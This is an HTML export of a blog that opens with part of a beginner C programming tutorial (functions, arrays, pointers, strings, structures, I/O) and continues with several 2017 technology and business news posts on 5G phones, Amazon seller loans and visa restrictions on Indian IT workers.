<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 525px;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Parameters</b> − A parameter is like a placeholder. When a function is invoked, you pass a value to the parameter. This value is referred to as actual parameter or argument.</td></tr>
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Calling a Function</h2>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">#include<stdio.h><br />
#include<conio.h>int sum(int,int);void main()<br />
{<br />
int a,b,c;<br />
printf(“\nEnter the two numbers : “);<br />
scanf(“%d%d”,&a,&b);c = sum(a,b);<br />
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printf(“\nAddition of two number is : %d”,c);<br />
getch();<br />
}</div>
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int sum (int num1,int num2)<br />
{<br />
int num3;<br />
num3 = num1 + num2 ;</div>
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return(num3);<br />
}</div>
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OUTPUT:</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Enter the two numbers : 12 12<br />
Addition of two number is : 24</td></tr>
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8.Arrays.</h1>
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What are Arrays?</h2>
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An <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">array</b> is a collection of data items, all of the same type, accessed using a common name. A one-dimensional <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">array</b> is like a list; A two dimensional<b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">array</b> is like a table; The <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">C</b> language places no limits on the number of dimensions in an <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">array</b>, though specific implementations may.</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">S.N.</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Concept & Description</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Multi-dimensional arraysC supports multidimensional arrays. The simplest form of the multidimensional array is the two-dimensional array.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Passing arrays to functionsYou can pass to the function a pointer to an array by specifying the array’s name without an index.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">3</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Return array from a functionC allows a function to return an array.</td></tr>
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9.Pointers.</h1>
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What are Pointers?</h2>
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A <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">pointer</b> is a variable whose value is the address of another variable, i.e., direct address of the memory location.</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">int *ip; /* pointer to an integer */<br />
double *dp; /* pointer to a double */<br />
float *fp; /* pointer to a float */<br />
char *ch /* pointer to a character */</td></tr>
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<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">S.N.</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Concept & Description</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Pointer arithmeticThere are four arithmetic operators that can be used in pointers: ++, –, +, –</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Array of pointersYou can define arrays to hold a number of pointers.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">3</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Pointer to pointerC allows you to have pointer on a pointer and so on.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">4</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Passing pointers to functions in CPassing an argument by reference or by address enable the passed argument to be changed in the calling function by the called function.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">5</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Return pointer from functions in CC allows a function to return a pointer to the local variable, static variable, and dynamically allocated memory as well.</td></tr>
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</h2>
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NULL Pointers</h2>
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It is always a good practice to assign a NULL value to a pointer variable in case you do not have an exact address to be assigned. This is done at the time of variable declaration. A pointer that is assigned NULL is called a <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">null</b> pointer.</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">#include <stdio.h><br />
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int main () {</div>
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int *ptr = NULL;</div>
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printf(“The value of ptr is : %x\n”, ptr );</div>
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return 0;<br />
}</div>
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<br /></div>
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OUTPUT:</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">The value of ptr is 0</td></tr>
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10.Strings.</h1>
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<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">What are Strings?</strong></div>
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<div class="_oDd" data-hveid="40" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<span class="_Tgc" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">A <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">string in C</b> is merely an array of characters. The length of a <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">string</b> is determined by a terminating null character: ‘\0’ . So, a <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">string</b> with the contents, say, “abc” has four characters: ‘a’ , ‘b’ , ‘<b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">c</b>‘ , and the terminating null character. The terminating null character has the value zero.</span></div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">S.N.</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Function & Purpose</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strcpy(s1, s2);</b><br />
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Copies string s2 into string s1.</div>
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Concatenates string s2 onto the end of string s1.</div>
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Returns the length of string s1.</div>
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Returns 0 if s1 and s2 are the same; less than 0 if s1<s2; greater than 0 if s1>s2.</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">5</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strchr(s1, ch);</b><br />
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Returns a pointer to the first occurrence of character ch in string s1.</div>
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Returns a pointer to the first occurrence of string s2 in string s1.</div>
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11.Structures.</h1>
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<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">What are Structures?</strong></span></div>
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<b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Structure</b> is a user-defined data type in <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">C</b> which allows you to combine different data types to store a particular type of record. … The only difference is that array is used to store collection of similar datatypes while <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">structure</b> can store collection of any type of data. <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Structure</b> is used to represent a record.</div>
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<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">Defining a structure</strong></span></div>
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<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">struct</strong> keyword is used to define a<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> Structure</strong>. <strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">struct</strong> define a new data type which is a collection of different type of data.</div>
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Syntax:</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">struct structure_name<br />
{<br />
//Statements<br />
};</td></tr>
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Array of Structure</h4>
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We can also declare an array of <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">structure</b>. Each element of the array representing a <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">structure</b> variable.</div>
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Eg:</div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">#include<stdio.h><br />
#include<conio.h><br />
struct employee<br />
{<br />
char ename[10];<br />
int sal;<br />
};struct employee emp[5];<br />
int i,j;<br />
void ask()<br />
{<br />
for(i=0;i<3;i++)<br />
{<br />
printf(“\nEnter %dst employee record\n”,i+1);<br />
printf(“\nEmployee name\t”);<br />
scanf(“%s”,emp[i].ename);<br />
printf(“\nEnter employee salary\t”);<br />
scanf(“%d”,&emp[i].sal);<br />
}<br />
printf(“\nDisplaying Employee record\n”);<br />
for(i=0;i<3;i++)<br />
{<br />
printf(“\nEmployee name is %s”,emp[i].ename);<br />
printf(“\nSlary is %d”,emp[i].sal);<br />
}<br />
}<br />
void main()<br />
{<br />
clrscr();<br />
ask();<br />
getch();<br />
}</td></tr>
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Structure as function arguments</h4>
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We can pass a structure as a function argument in similar way as we pass any other variable or array.</div>
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Eg:</div>
<table style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">#include<stdio.h><br />
#include<conio.h><br />
struct student<br />
{<br />
char name[10];<br />
int roll;<br />
};<br />
void show(struct student st);<br />
void main()<br />
{<br />
struct student std;<br />
clrscr();<br />
printf(“\nEnter student record\n”);<br />
printf(“\nstudent name\t”);<br />
scanf(“%s”,std.name);<br />
printf(“\nEnter student roll\t”);<br />
scanf(“%d”,&std.roll);<br />
show(std);<br />
getch();<br />
}void show(struct student st)<br />
{<br />
printf(“\nstudent name is %s”,st.name);<br />
printf(“\nroll is %d”,st.roll);<br />
}</td></tr>
</tbody></table>
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<br /></div>
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<br /></div>
<h1 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 24px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
12.Input & Output.</h1>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
When we say <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Input</b>, it means to feed some data into a program. An input can be given in the form of a file or from the command line.</div>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
When we say <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Output</b>, it means to display some data on screen, printer, or in any file.</div>
<h2 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 21px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
The scanf() and printf() Functions</h2>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">scanf(): </strong></span>In C programming language, scanf() function is used to read character, string, numeric data from keyboard.Consider below example program where user enters a character. This value is assigned to the variable “ch” and then displayed.Then, user enters a string and this value is assigned to the variable “str” and then displayed.</div>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">printf():</strong></span>In C programming language, printf() function is used to print the “character, string, float, integer, octal and hexadecimal values” onto the output screen.We use printf() function with %d format specifier to display the value of an integer variable.Similarly %c is used to display character, %f for float variable, %s for string variable, %lf for double and %x for hexadecimal variable.<br />
To generate a newline,we use “\n” in C printf() statement.</div>
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getchar() and putchar() Functions</h2>
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The <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">int getchar(void)</b> function reads the next available character from the screen and returns it as an integer. This function reads only single character at a time. You can use this method in the loop in case you want to read more than one character from the screen.</div>
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The <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">int putchar(int c)</b> function puts the passed character on the screen and returns the same character. This function puts only single character at a time. You can use this method in the loop in case you want to display more than one character on the screen.</div>
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13.Recursion.</h1>
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Recursion is the process of repeating items in a self-similar way. In programming languages, if a program allows you to call a function inside the same function, then it is called a recursive call of the function.</div>
</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-10249950708460028782017-09-16T21:30:00.000+05:302017-09-16T21:30:15.944+05:30First 5G phones will be available in Asian and US markets by 2019, says Qualcomm CEO<div dir="ltr" style="text-align: left;" trbidi="on">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtcnMs8y-Zak2HJsw_UeogQZiFxFsNr9iHmGnn8JA7ZwMN8BmM-CjjQUneMsEi75785pN0ZIHjspVGtvagPStFDxRNSVWdmctANNTcsOfcPzGQOKYzVRlAkGPoWABZoV-TjO5K5bfad23z/s1600/qualcomm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="First 5G phones will be available in Asian and US markets by 2019, says Qualcomm CEO" border="0" data-original-height="108" data-original-width="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtcnMs8y-Zak2HJsw_UeogQZiFxFsNr9iHmGnn8JA7ZwMN8BmM-CjjQUneMsEi75785pN0ZIHjspVGtvagPStFDxRNSVWdmctANNTcsOfcPzGQOKYzVRlAkGPoWABZoV-TjO5K5bfad23z/s1600/qualcomm.png" title="First 5G phones will be available in Asian and US markets by 2019, says Qualcomm CEO" /></a></div>
<br />
The first 5G phones ready to meet next-generation mobile standards will be available for the mass market in 2019, a year ahead of most predictions, in several Asian countries and the United States, Qualcomm’s CEO said on Thursday.<br />
<br />
Steven Mollenkopf, chief executive of the world’s top maker of smartphone chips, said in an interview that rising consumer and business demands were forcing the industry to accelerate its previous 2020 timeline to upgrade to new networks and devices.<br />
<br />
“You will see it (5G) in real devices, on the shelf, in 2019. And if I were to answer that same question a year ago, I would have said 2020”, Mollenkopf said in an interview on the sidelines of the Frankfurt Motor Show.<br />
<br />
Commercialisation of 5G is vital to the fortunes of makers of network equipment gear such as Huawei, Nokia, and Ericsson, as well as device makers like Samsung Electronics and Apple by enabling demand for new features and equipment upgrades.<br />
<br />
Moving to new networks promises to enable new mobile services and even whole new business models, but could pose challenges for industries unable to invest in upgrades.<br />
<br />
Unlike the prior upgrades of cellular standards 2G in the early 1990s, 3G just around the millennium and 4G in 2010, 5G standards will deliver not just faster phone or computer data but link up cars, machines, cargo and crop equipment to the Internet.<br />
<br />
The Qualcomm executive said South Korea, Japan, and the United States all now had several network operators in each market preparing mainstream network launches in 2019, with China likely to join this early wave rather than hanging behind.<br />
<br />
“I think you will see the typical first movers — Korea, Japan and the United States,” he said referring to the history of 3G and 4G cellular network upgrades, when South Korea and Japan moved first and the United States quickly followed.<br />
<br />
“You will see robust demand in all of those locations, meaning that there are multiple operators wanting to be first and not be left behind. (Most) will have a different deployment strategy or goal,” he said, fuelling competition for new users.<br />
<br />
China, far and away the world’s largest market for phones, has traditionally lagged behind these early adopters, but Mollenkopf said they are likely to join the first movers to 5G.<br />
<br />
“What we are seeing in China is a real desire not to be a follower and to launch with everyone else. That’s new this time. From a geopolitical perspective, certain regions of the world just don’t want to be late to that game,” he said.<br />
The Winter Olympics in PyeongChang, South Korea, in February 2018 are expected to be the first widespread public showcase for 5G services.</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-89001140643481229562017-09-16T19:30:00.000+05:302017-09-16T19:30:04.814+05:30Amazon joins with Bank of Baroda to offer micro loans to sellers.<div dir="ltr" style="text-align: left;" trbidi="on">
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Amazon bonds up with BOB to offer micro loans to sellers</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgidsvxkNyQj25-7wnH181bECRa8Kv98yNImi4rg9w9RcDjKs7R8TFtHrTvXvRgiA7VeAADyuBJPcDXBxhnWsWahIjnFyodGHdqjVEaEKtSz-vofSkUWGzuxpJrwJr9hgKzdxiLsPOFtOHR/s1600/amazon.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Amazon joins with Bank of Baroda to offer micro loans to sellers." border="0" data-original-height="183" data-original-width="275" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgidsvxkNyQj25-7wnH181bECRa8Kv98yNImi4rg9w9RcDjKs7R8TFtHrTvXvRgiA7VeAADyuBJPcDXBxhnWsWahIjnFyodGHdqjVEaEKtSz-vofSkUWGzuxpJrwJr9hgKzdxiLsPOFtOHR/s400/amazon.jpg" title="Amazon joins with Bank of Baroda to offer micro loans to sellers." width="400" /></a></div>
<br />
E-commerce player Amazon today said it has tied up with state-run lender Bank of Baroda to offer micro loans to its sellers. The loans will be offered on invite-only basis to the marketplace sellers. The programme was piloted by Amazon in July this year in association with the bank. The loans will be extended in the range of Rs one lakh to Rs 25 lakh at an annual interest rates between 18 and 30 per cent.<br />
<br />
"We clearly understand the specific needs of SMEs for e-commerce business and are proud to partner with Amazon India to provide comprehensive banking solutions to their over 2 lakh seller base," the banks managing director and CEO, P S Jayakumar, told reporters here today. He said the bank expects to get on board 15 to 20 per cent of Amason sellers on this programme in the next one year.<br />
<br />
The sellers on Amazon will receive pre-approved indicative offers from the bank for the loan amount they are eligible. They will be able to use their sale disbursements on the Amazon marketplace to directly repay the loan. "Through our engagement with sellers, we realised that the lack of financial resources can hinder the growth of small businesses as they scale up which can impact expansion, especially ahead of the festive sales," Amazon India director and general manager (seller services) Gopal Pillai said.<br />
<br />
Currently, loans are offered on an invite-only basis to the marketplace sellers who qualify against various criteria, including account tenure, sellers selling history, customer feedback and compliance with the e-commerce player.<br />
<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-6166909886133042592017-09-15T20:30:00.000+05:302017-09-15T20:30:27.391+05:30Not only US, other countries too restrict Indian IT professionals.<div dir="ltr" style="text-align: left;" trbidi="on">
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The US and other countries have cut down on visas given to IT professionals.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY8yscSwAjS8uwS3EElBQ8YdT8NqQLekymA61vBDcy1Y9IQS8MmXsQsll-v8T6NOew8zmP2I_yFjThYSELm66dcxYLhYwhUJs572GuPs7ulw4Z970kZMRDF9y-Xac0IevIFFZTPLN51MJW/s1600/visa.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Not only US, other countries too restrict Indian IT professionals." border="0" data-original-height="183" data-original-width="275" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY8yscSwAjS8uwS3EElBQ8YdT8NqQLekymA61vBDcy1Y9IQS8MmXsQsll-v8T6NOew8zmP2I_yFjThYSELm66dcxYLhYwhUJs572GuPs7ulw4Z970kZMRDF9y-Xac0IevIFFZTPLN51MJW/s400/visa.jpg" title="Not only US, other countries too restrict Indian IT professionals." width="400" /></a></div>
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<div>
<div>
The woes of Indian information technology companies are not limited to the US and extend from Australia to Canada as they not only have to grapple with visa curbs but also obscure rules that are open to interpretation by local authorities.</div>
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<br /></div>
<div>
Following the concerns brought out by Nasscom in a study, the government has started flagging the hurdles, many of which are against the commitments given by these countries at the World Trade Organisation or in trade agreements with India. The study has brought out the fact that there is no match between the commitments given and the visa issued.</div>
<div>
<br /></div>
<div>
The report comes at a time when India is seeking a permanent agreement for trade facilitation in services. Separately, it is pushing for liberal rules in Asean and other countries such as China, Australia and New Zealand, under the regional comprehensive economic partnership agreement, which will create one of the world's largest free trade areas.</div>
<div>
<br /></div>
<div>
These countries are, however, reluctant to ease the rules, but are seeking sharp duty cuts for goods imported into India. What makes it easier for other countries not to honour their commitments is the absence of any clarity on the number of visas that they have agreed to. Pointing to the US, Nasscom has said that it is the only country that partially mentions the visa category, H1, under WTO's agreement on trade in services (GATS) but there is nothing on offer for the information, communication and technology category.</div>
</div>
<div>
<br /></div>
<div>
Then, there are other conditions such as high fees to dilute the commitments. Some rules could even be tweaked by countries. For example, Indonesia had notified a rule allowing one visa for every 10 local workers hired. Other complaints revolve around the duration of the visa and the time taken to issue it, which can be long, and can often come with quotas. What makes life more difficult for Indian workers is the fact that many countries have not signed (and some are reluctant) social security agreements which will allow for contributions to be transferred once the employee returns to India.</div>
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<br /></div>
<div>
<div>
There are other issues which have stalled the Indian IT sector's expansion drive, such as outdated definitions, said a government official. For instance, there is very little clarity on the definitions of contractual service providers, independent professionals and inter-corporate transfers, which results in lack of confidence among companies.</div>
<div>
<br /></div>
<div>
The industry also has to deal with subjective and discretionary elements of the commitments that have been given, resulting in interpretations that are only meant to block access.</div>
</div>
</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-72687377927552730412017-09-15T19:30:00.000+05:302017-09-15T19:30:10.374+05:30India-Japan summit: No aircraft or civil nuclear deal.<div dir="ltr" style="text-align: left;" trbidi="on">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmflW2qMYDsV1vBY20w2aF-BZ_-eI-Xo3hSK6AjEpFKnNS7zxLMIqUATuCailEZ4VuNd0a9zZwAO5iSTsb3oR9LCFXAEeJBDl4GB2Q6kMsczvdDRSOBi_HhhIfFnsFFRLWyMZoMHZ2rQFY/s1600/india1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="India-Japan summit: No aircraft or civil nuclear deal." border="0" data-original-height="237" data-original-width="213" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmflW2qMYDsV1vBY20w2aF-BZ_-eI-Xo3hSK6AjEpFKnNS7zxLMIqUATuCailEZ4VuNd0a9zZwAO5iSTsb3oR9LCFXAEeJBDl4GB2Q6kMsczvdDRSOBi_HhhIfFnsFFRLWyMZoMHZ2rQFY/s400/india1.png" title="India-Japan summit: No aircraft or civil nuclear deal." width="359" /></a></div>
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<br />
